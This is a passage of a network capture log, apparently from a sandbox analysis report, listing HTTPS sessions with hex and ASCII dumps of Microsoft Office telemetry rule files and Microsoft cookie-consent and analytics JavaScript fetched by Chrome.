"+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-25 17:28:54 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bmqmgjhC1NYCy16c00000007wg0000000081c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 512d0a55-c01e-0079-2cc0-3ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474btvfdfhC1NYCa2en00000007ug00000000f03r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-15b8b599d88cn5thhC1TEBqxkn00000006800000000003un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:54 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bnwsh4hC1NYC2ubs00000007yg0000000012zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:55 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 14c1fdaf-501e-0029-4fb8-3ed0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172855Z-178bfbc474bwlrhlhC1NYCy3kg00000007q000000000r9yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:55 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49829	13.107.246.63	443	880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:56 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:56 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:56 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 37402 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 74184934-601e-00b6-5c08-3fb2a9000000 x-ms-version: 2009-09-19 x-azure-ref: 20241125T172856Z-178bfbc474bfw4gbhC1NYCunf400000007r000000000nnbb Accept-Ranges: bytes
2024-11-25 17:28:56 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-25 17:28:56 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-25 17:28:57 UTC	81	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<argument
2024-11-25 17:28:57 UTC	4197	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c Data Ascii: s.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49830	13.107.246.63	443	880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:56 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:57 UTC	889	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241125T172857Z-178bfbc474bnwsh4hC1NYC2ubs00000007u000000000gknc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:57 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 